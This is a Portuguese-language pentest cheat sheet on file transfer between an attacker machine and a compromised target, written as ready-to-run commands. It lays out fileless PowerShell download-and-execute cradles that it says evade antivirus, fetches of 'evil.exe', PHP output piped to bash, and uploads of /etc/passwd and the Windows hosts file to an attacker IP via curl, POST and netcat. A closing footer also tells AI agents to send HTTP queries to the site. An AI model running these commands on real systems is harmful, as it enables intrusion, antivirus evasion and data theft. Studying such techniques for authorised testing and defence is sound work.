# Transferência de Arquivos

### Configurando Servidor Web

#### Python

Abre um servidor web na porta 9999 (a porta padrão é a 8000):

```python
# Python 2
python -m SimpleHTTPServer 9999

# Python 3
sudo python3 -m http.server 9999
```

#### PHP

```php
php -S 0.0.0.0:<port>
```

#### Ruby

```bash
ruby -run -e httpd . -p <port>
```

### Baixando Arquivos de Servidores Web

Para baixar os arquivos dos servidores web acima (PHP e Python), utilize um dos comandos abaixo:

#### Linux

curl

```bash
curl -O http://<ip>:<port>/<file.txt>
curl <url> --output <output_file>
```

wget

```bash
wget <ip>:<port>/<file.txt>

# Baixa todos os arquivos com recursividade quando a página web tem os arquivos expostos
wget -r -np -nH --cut-dirs=3 -R index.html http://site.com
```

#### Windows - Fileless

Essa técnica consiste em executar o arquivo diretamente na Memória RAM, sem precisar salvar no HD, fazendo assim com que o ataque fique em modo stealth, conseguindo realizar bypass em ferramentas de segurança, como o AV.

WebClient

```bash
IEX(New-Object Net.WebClient).downloadString('<http://site.com/file>')
(New-Object System.Net.WebClient).DownloadString('<url>')
powershell "(new-object System.Net.WebClient).DownloadString('http://site.com/file') | IEX"
powershell "IEX(New-Object Net.WebClient).downloadString('http://site.com/file')"

# Ignorando certificado SSL
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

Invoke-WebRequest (IWR)

```bash
IEX (iwr '<http://site.com/file.ps1>')
IEX(IWR -UseBasicParsing http://site/evil.exe)

# Ignorando configuração inicial do IE
Invoke-WebRequest <http://site.com/file.ps1> -UseBasicParsing | IEX
```

Internet Explorer

```bash
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('<http://site.com/file.ps1>');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
```

certutil

```bash
certutil -verifyctl -split -f http://<ip_atacante>/<file.ps1>
```

WinHttpRequest

```bash
# Máquina atacante
sudo python3 -m http.server 80

# Máquina alvo
$conn = new-object -com WinHttp.WinHttpRequest.5.1;
$conn.open('GET', 'http://<ip_atacante>/<file.ps1>', $false);
$conn.send();
iex $conn.ResponseText

# Ou
$conn=new-object -com WinHttp.WinHttpRequest.5.1;$conn.open('GET','<http://site.com/file.ps1>',$false);$conn.send();iex $conn.responseText
```

Msxml2

```bash
# Máquina atacante
sudo python3 -m http.server 80

# Máquina alvo
$conn=New-Object -ComObject Msxml2.XMLHTTP;
$conn.open('GET', 'http://<ip_atacante>/<file.ps1>', $false);
$conn.send();
iex $conn.responseText

# Ou
$conn=New-Object -ComObject Msxml2.XMLHTTP;$conn.open('GET','<http://site.com/file.ps1>',$false);$conn.send();iex $conn.responseText
```

BitsAdmin, uma ferramente nativa do Windows que permite fazer download (e também upload) de arquivos.

```bash
Import-Module bitstransfer
Start-BitsTransfer -Source "http://<ip>/<file>" -Destination "<output_file>"


# Ou
Import-Module bitstransfer;
Start-BitsTransfer 'http://<ip>/<file>' $env:temp\t;
$r=gc $env:temp\t;
rm $env:temp\t; 
iex $r


# Ou
Import-Module bitstransfer ; Start-BitsTransfer '<http://site.com/file.ps1>' $env:temp\t ; $r=gc $env:temp\t ; rm $env:temp\t ; iex $r
```

#### Windows - Salvando no HD

Powershell

Primeiro é preciso abrir uma sessão na máquina alvo

```bash
$Session = New-PSSession -ComputerName <ip>
```

Após isso podemos transferir arquivo (de maneira bidirecional), com as seguintes maneiras:

```bash
# Transferindo arquivo local para a máquina remota
Copy-Item -Path <C:\path\to\file> -ToSession $Session -Destination <C:\path\to\output_file\>

# Transferindo arquivo de máquina remota para máquina local
Copy-Item -Path "<C:\path\to\file>" -Destination <C:\path\to\output_file\> -FromSession $Session
```

WebClient

```bash
iex(New-Object Net.WebClient).DownloadFile("<http://site/file>", "<C:\Users\user\Downloads\file>")
(New-Object System.Net.WebClient).DownloadFile('<url>', '<outputfile>')

# Ou
$webclient = New-Object System.Net.WebClient
$url = "https://domain.com/file.ps1"
$outputfile = "C:\Users\mysther\Desktop\file.ps1"
$webclient.DownloadFile($url, $outputfile)
```

Caso tenho problemas de certificado ao realizar download de arquivos via WebClient, execute o comando abaixo:

```bash
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
```

Invoke-WebRequest (IWR)

```bash
Invoke-WebRequest -Uri "<http://site/file>" -OutFile "<C:\Users\<user>\Downloads>"
Invoke-WebRequest "<http://site/file>" -OutFile "<C:\Users\<user>\Downloads>"
iwr -UseBasicParsing -Uri <http://site.com/file.exe> -OutFile '<C:\Users\<user>\Downloads\file.exe>'
iwr http://site/evil.exe -o <output-name.exe>
iwr http://site/evil.exe -OutFile <output-name.exe>
```

Certutil

```bash
cmd /c certutil -urlcache -split -f <http://ip/file.exe> <c:\dir\output\file.exe>
```

nc

```bash
# Máquina que irá receber o arquivo
nc -l -p <porta> > <file>
ncat -l -p <porta> --recv-only > <file>

# Máquina que irá enviar o arquivo
nc -q 0 <ip> <porta> < <file>
ncat --send-only <ip> <porta> < <file>
```

```bash
# Máquina que irá enviar o arquivo
nc <ip> 443 > <file>

# Máquina que irá receber o arquivo
sudo nc -l -p 443 -q 0 < <file>
```

Ncat

```bash
# Máquina que irá enviar o arquivo
sudo ncat -l -p 443 --send-only < <file>

# Máquina que irá receber o arquivo
ncat <ip> 443 --recv-only > <file>
cat < /dev/tcp/<ip>/443 > <file>
```

RDP

```bash
# xfreerdp
xfreerdp /v:<ip> /d:<domain> /u:<user> /p:'<pass>' /drive:linux,</home/mysther/folder>

# rdesktop
rdesktop <ip> -d <domain> -u <user> -p '<pass>' -r disk:linux='/home/mysther/rdesktop/folder'
```

GfxDownloadWrapper

```bash
GfxDownloadWrapper.exe "http://<ip>/<file>" "<C:\path\to\output_file>"
```

###

### NGNIX

Criando diretório e atribuindo permissões

```bash
sudo mkdir -p /var/www/uploads/myuploads
sudo chown -R www-data:www-data /var/www/uploads/myuploads
```

Crie arquivo de configuração em `/etc/nginx/sites-available/upload.conf`, com o seguinte conteúdo:

```bash
server {
    listen 9001;
    
    location /myuploads/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}
```

Criar link simbólico

```bash
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
```

Reiniciando o Ngnix

```bash
sudo systemctl restart nginx.service
```

**OBS.:** Caso tenho algum erro nesse ponto, verifique o arquivo `/var/log/nginx/error.log` para obter mais informações.

Removendo padrões do ngnix

```bash
sudo rm /etc/nginx/sites-enabled/default
```

Agora basta enviar um arquivo via PUT.

```bash
curl http://<ip>:9001/myuploads/file.txt -T /etc/passwd
```

O arquivo enviado irá ser enviado para `/var/www/uploads/myuploads/`.

### PHP

```bash
# Salvando arquivo
<?php file_put_contents('<output_file>', fopen('http://<ip>/<file>', 'r')); ?>
# Ou
php -r "file_put_contents('output_file', file_get_contents('http://<ip>/<file>'));"


php -r '$file = file_get_contents("<http://<ip_atacante>/file>"); file_put_contents("<file_output>",$file);'
php -r 'const BUFFER = 1024; $fremote = fopen("<http://<ip_atacante>/file>", "rb"); $flocal = fopen("<file_output>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'


# Mostrando conteúdo do arquivo
php -r 'var_dump(file_get_contents("http://<ip>/<file>"));'

# Fileless
php -r '$lines = @file("<http://<ip_atacante>/file>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
```

###

### Python 2 e 3

```bash
python2 -c 'import urllib;urllib.urlretrieve ("<http://<ip_atacante>/file>", "<file_output>")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("<http://<ip_atacante>/file>", "<file_output>")'
```

###

### Ruby

```bash
ruby -e 'require "net/http"; File.write("<file_output>", Net::HTTP.get(URI.parse("<http://<ip_atacante>/file>")))'
```

###

### Perl

```bash
perl -e 'use LWP::Simple; getstore("<http://<ip_atacante>/file>", "<file_output>");'
```

###

### Javascript

Primeiro salve o arquivo abaixo com o nome `downloader.js` (ou outro nome da sua preferência)

```bash
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

Agora execute-o através do `cscript.exe`, que é nativo Windows

```bash
cscript.exe /nologo  .\downloader.js <http://<ip_atacante>/file> <file_output>
```

### VBScript

Primeiro salve o arquivo abaixo com o nome `downloader.vbs` (ou outro nome da sua preferência)

```bash
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

Agora execute-o através do `cscript.exe`, que é nativo Windows

```bash
cscript.exe /nologo .\downloader.vbs http://192.168.218.131/server.pem server.pem
```

###

### Baixando Arquivos de Servidores FTP

Para este cenário, iremos precisar ter as credenciais de autenticação no servidor FTP. Todo o seu conteúdo será baixado de form recursiva

```bash
wget -r ftp://<user>:<pass>@<ip>/
wget -m ftp://<user>:<pass>@<ip>/
wget -m --user <user> --password '<pass>' ftp://<ip>
```

###

### SCP (Download/Upload)

#### Arquivos do Linux para  Linux

Certifique-se de que o host remoto tenha o `SSH` instalado, pois esse processo irá pedir a senha do usuário em questão.

```bash
# Download
scp <user>@<ip>:/<diretorio>/<completo>/<arquivo.txt> /<diretorio>/<local>/

# Upload
scp /<diretorio>/<local>/<arquivo.txt> <user>@<ip>:/<diretorio>/<completo>/
```

**OBS.:** Utilize o parâmetro `-r` depois do `scp` para enviar um diretório completo de modo recursivo.

#### Arquivos do Windows para Linux

Ao colocar o caminho absoluto em sistema Windows, temos que fazer um pouco diferente, pois o `:` é utilizado como delimitador entre host e path, porém o Windows tem um `:` após sua unidade de disco (Ex.: C:\\), então devemos escapar isso utilizando aspas duplas e invertendo as barras.

```bash
scp <user>@<ip-windows>:"<C:/Users/Administrator/file.txt>" .
```

### Clonando Site

Esse tipo de clone é com recursividade

```bash
wget -m -p -E -k -K -np -v <site>
```

###

### Netcat

#### Método 1

```bash
# Receptor
nc -lvp <port> > <file>

# Remetente
cat <file> | nc <ip> <port>
```

#### Método 2

```bash
# Receptor
nc -l -p <port> -q 1 > <file.zip> < /dev/null

# Remetente
cat <file.zip> | netcat <ip_host_receptor> <port>
```

{% hint style="info" %}
**OBS.:** Utilizando esse segundo método, assim que o host receber o arquivo, o nc será finalizado, porém ele continuará baixando o arquivo em background.
{% endhint %}

#### Método 3

```bash
# Remetente
nc -nlvp <port> < <file>

# Receptor
nc <ip> <port> > <file>
```

### xfreerdp

Irá ser criado a unidade `data` no Windows, que pode ser acessada no `/tmp` do Linux.

```bash
xfreerdp /v:<ip> /u:<user> /p:<pass> /drive:data,/tmp
```

### Socat

Recebendo arquivo:

```bash
socat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat # Server
socat -u FILE:test.txt TCP:127.0.0.1:9876 # Client
```

Enviando arquivo:

```bash
socat -u FILE:test.dat TCP-LISTEN:9876,reuseaddr
socat -u TCP:127.0.0.1:9876 OPEN:out.dat,creat
```

###

### Base64

#### Copiando e Colando

No host onde contém o arquivo, iremos digitar o comando:

```bash
# Linux
base64 -w 0 <file_to_transfer>
cat <file_to_transfer> | base64 -w 0

# Windows
[Convert]::ToBase64String((Get-Content -path "<file>" -Encoding byte))
```

Copie a saída encodada em base64 e execute no host onde o arquivo irá ser salvo:

```bash
# Linux
echo '<base64_encode>' | base64 -d > <output_file>

# Windows
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('<base64_encode>'))
[IO.File]::WriteAllBytes("<output_file>", [Convert]::FromBase64String("<base64_encode>"))
```

#### Enviando via POST

Também podemos encodar um arquivo e enviá-lo via POST. Primeiro vamos abrir o nosso listener para receber o conteúdo do arquivo em base64.

```bash
nc -nvlp 8000
```

Agora na máquina alvo, execute:

```bash
[System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://<ip_atacante>:8000/ -Method POST -Body $b64
```

### SMB

Esse método utiliza o Linux como um servidor SMB e iremos acessar os seus arquivos através do Windows (PowerShell), como em um mapeamento de unidade de rede.

#### impacket-smbserver

Execute no Linux:

```bash
# Com autenticação
impacket-smbserver <name_server> <share_directory> -smb2support -user <user> -password <pass>

# Sem autenticação
sudo python3 smbserver.py <share_directory> .
```

Execute no Windows de duas maneiras, via web browser / UNC, com o caminho:

```bash
\\<ip_atacante>\<share_directory>\<file.txt>
```

Ou se preferir, via powershell, da seguinte maneira:

```bash
# Conectando
$pass = convertto-securestring '<pass>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<name_server>', $pass)
New-PSDrive -Name <new_name_share> -PSProvider FileSystem -Credential $cred -Root \\<ip_linux>\<name_server>

# Acessando
cd <new_name_share>:
ls
```

No comando `New-PSDrive...` não é necessário ter mesmo `name` que foi setado no Linux. Caso precise realizar mais de uma conexão, altere esse valor.

#### smbserver.py (Impacket)

Compartilhando o arquivo via Linux

```bash
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py <name_share> .
```

Baixando o arquivo pelo Windows

```bash
copy \\<ip>\<name_share>\file.txt .
```

### FTP

#### Download

Máquina que irá fornecer o arquivo

```bash
sudo python3 -m pyftpdlib --port 21
```

Depois acesse o ftp com o usuário `anonymous` a partir da máquina que irá receber o arquivo

```bash
# Linux
ftp <ip>

# Windows
(New-Object Net.WebClient).DownloadFile('ftp://<ip>/<file>', '<C:\path\to\output_file>')

# ou
echo open <ip> > ftp.txt
echo USER anonymous >> ftp.txt
echo binary >> ftp.txt
echo GET <file_download> >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
```

#### Upload

Na máquina atacante vamos abrir um FTP com permissão de escrita, para que assim, a máquina comprometida realize upload de arquivos.&#x20;

```bash
sudo python3 -m pyftpdlib --port 21 --write
```

Realizando upload na máquina alvo

```bash
(New-Object Net.WebClient).UploadFile('ftp://<ip_atacante>/<output_filename>', '<c:\path\to\file>')

# Ou
echo open <ip_atacante> > command.txt
echo USER anonymous >> command.txt
echo binary >> command.txt
echo PUT <c:\path\to\file> >> command.txt
echo <output_filename> >> command.txt
ftp -v -n -s:command.txt
```

### UploadServer

Esse método é um pouco diferente dos demais, pois apesar de termos uma máquina atacante sendo utilizada como servidor, dessa vez será um servidor que irá aceitar upload de arquivos, ou seja, a máquina alvo irá realizar enviar os arquivos para a máquina atacante. Se quiser baixar arquivos do server, acesse a raiz (`http://<ip>:<port>`) e se quiser fazer um upload, acesso `http://<ip>:<port>/upload`.&#x20;

```bash
# Instalando o módulo
pip3 install uploadserver

# Iniciando o servidor
python3 -m uploadserver <port>
```

Agora que já temos um servidor que aceita upload de arquivos, vamos acessá-lo a partir de um Windows (nossa máquina alvo) e enviar arquivos através do script `PSUpload.ps1`. Note que temos que passar o `/upload` no final da URI, porém ao recebermos o arquivo, ele estará no mesmo diretório em que o servidor foi executado.

```bash
. .\PSUpload.ps1
Invoke-FileUpload -Uri http://<ip_atacante>:<port>/upload -File <C:\path\to\file>
```

Ou então, fazer um upload a partir do Python

```bash
python3 -c 'import requests;requests.post("http://<ip_atacante>:<port>/upload", files={"files":open("/etc/passwd","rb")})'
```

###

### TempDavFS

Ferramenta semelhante ao `smbserver`, para disponibilizar arquivos entre computadores

```bash
Import-Module .\Invoke-TempDavFS.psm1
Invoke-TempDavFS
```

###

### Sites

```bash
# PSUpload.ps1
https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1

# Tool para transferir arquivos via ICMP
https://github.com/icyguider/ICMP-TransferTools

# Invoke-TmpDavFS
https://github.com/p3nt4/Invoke-TmpDavFS

# UploadServer
https://github.com/Densaugeo/uploadserver
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/transferindo-arquivos.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.